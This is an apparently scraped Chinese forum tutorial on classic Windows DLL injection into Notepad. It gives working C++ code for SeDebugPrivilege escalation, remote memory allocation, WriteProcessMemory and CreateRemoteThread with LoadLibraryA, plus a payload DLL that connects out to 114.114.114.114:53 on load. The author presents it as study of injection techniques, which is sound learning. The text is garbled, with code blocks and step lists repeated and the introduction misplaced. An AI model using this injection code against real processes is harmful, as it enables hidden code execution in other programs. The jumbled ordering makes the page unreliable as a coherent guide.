环境
OS:Windows 10 PRO 1709
IDE:Visual Studio 2015 Community
语言:Visual C++
原理:简单来说,就是在目标进程中开辟一块堆空间,用于存储DLL的路径,之后使用CreateRemoteThread在目标进程中开启远程线程。
步骤:
HANDLE GetThePidOfTargetProcess()
{
//Get the pid of the process which to be injected.
HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad");
DWORD dwInjectionProcessID;
GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID);
cout << "Notepad's pid -> " << dwInjectionProcessID << endl;
HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID);
return injectionProcessHandle;
}
void PrivilegeEscalation()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
BOOL DoInjection(char *InjectionDllPath,HANDLE injectionProcessHandle)
{
DWORD injBufSize = lstrlen((LPCWSTR)InjectionDllPath) + 1;
LPVOID AllocAddr = VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(injectionProcessHandle, AllocAddr, (void*)InjectionDllPath, injBufSize, NULL);
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
HANDLE hRemoteThread;
if ((hRemoteThread = CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) == NULL)
{
ER = GetLastError();
cout << "Create Remote Thread Failed!" << endl;
return FALSE;
}
else
{
cout << "Create Remote Thread Success!" << endl;
return TRUE;
}
}
在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。
这个DLL和一般的DLL实现方式一样,只不过是需要在DLL加载起来的时候,就要执行一些函数。
- 在DllMain中的switch中的DLL_PRPCESS_ATTACH分支下,使用CreateThread函数,对要执行的函数创建进程。
case DLL_PROCESS_ATTACH:
std::cout << "DLL_PROCESS_ATTACH" << std::endl;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)inj, NULL, 0, &dwThreadId);
- 要执行的函数如下,为了方便使用如PCHunter类工具进行监控,所以该函数实现了一个发送tcp连接包的功能。
void TryConnect()
{
WSADATA wsa;
if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0)
{
return;
}
SOCKET m_socket = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN SocketSendIn;
SocketSendIn.sin_family = AF_INET;
SocketSendIn.sin_addr.S_un.S_addr = inet_addr("114.114.114.114");
SocketSendIn.sin_port = htons(53);
connect(m_socket, (SOCKADDR*)&SocketSendIn, sizeof(SOCKADDR));
closesocket(m_socket);
WSACleanup();
}
由于这种注入在磁盘中留下了DLL文件,隐蔽性非常不好,所以分析时只需看被注入的进程加载的DLL即可找到被注入的DLL。
之后分析的进程注入技术都开源到这一个项目上。
HANDLE GetThePidOfTargetProcess()
{
//Get the pid of the process which to be injected.
HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad");
DWORD dwInjectionProcessID;
GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID);
cout << "Notepad's pid -> " << dwInjectionProcessID << endl;
HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID);
return injectionProcessHandle;
}
void PrivilegeEscalation()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
BOOL DoInjection(char *InjectionDllPath,HANDLE injectionProcessHandle)
{
DWORD injBufSize = lstrlen((LPCWSTR)InjectionDllPath) + 1;
LPVOID AllocAddr = VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(injectionProcessHandle, AllocAddr, (void*)InjectionDllPath, injBufSize, NULL);
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
HANDLE hRemoteThread;
if ((hRemoteThread = CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) == NULL)
{
ER = GetLastError();
cout << "Create Remote Thread Failed!" << endl;
return FALSE;
}
else
{
cout << "Create Remote Thread Success!" << endl;
return TRUE;
}
}
case DLL_PROCESS_ATTACH:
std::cout << "DLL_PROCESS_ATTACH" << std::endl;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)inj, NULL, 0, &dwThreadId);
void TryConnect()
{
WSADATA wsa;
if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0)
{
return;
}
SOCKET m_socket = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN SocketSendIn;
SocketSendIn.sin_family = AF_INET;
SocketSendIn.sin_addr.S_un.S_addr = inet_addr("114.114.114.114");
SocketSendIn.sin_port = htons(53);
connect(m_socket, (SOCKADDR*)&SocketSendIn, sizeof(SOCKADDR));
closesocket(m_socket);
WSACleanup();
}
前段时间,在论坛看到了这篇文章--> [翻译]十种注入技巧:具有通用性的进程注入技巧研究后,想仔细学习进程注入。平时分析会多些,但很少去实现,如果文章中哪里有错误,欢迎指出,以便及时改正。
OS:Windows 10 PRO 1709
IDE:Visual Studio 2015 Community
语言:Visual C++
- 获取目标进程PID。
- 提升Dropper进程权限。
- 打开目标进程。
- 在目标进程内开辟缓冲区,用来存储DLL的路径。
- 找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址。
- 通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL。
- 获取目标进程PID。
- 提升Dropper进程权限。
- 打开目标进程。
- 在目标进程内开辟缓冲区,用来存储DLL的路径。
- 找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址。
- 通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL。
实现:
-
获取目标进程PID。(本来想注入计算器,但是获取计算器的进程ID的时候总是获取一个辅助进程ID,所以就注入记事本了)。
HANDLE GetThePidOfTargetProcess()
{
//Get the pid of the process which to be injected.
HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad");
DWORD dwInjectionProcessID;
GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID);
cout << "Notepad's pid -> " << dwInjectionProcessID << endl;
HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID);
return injectionProcessHandle;
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!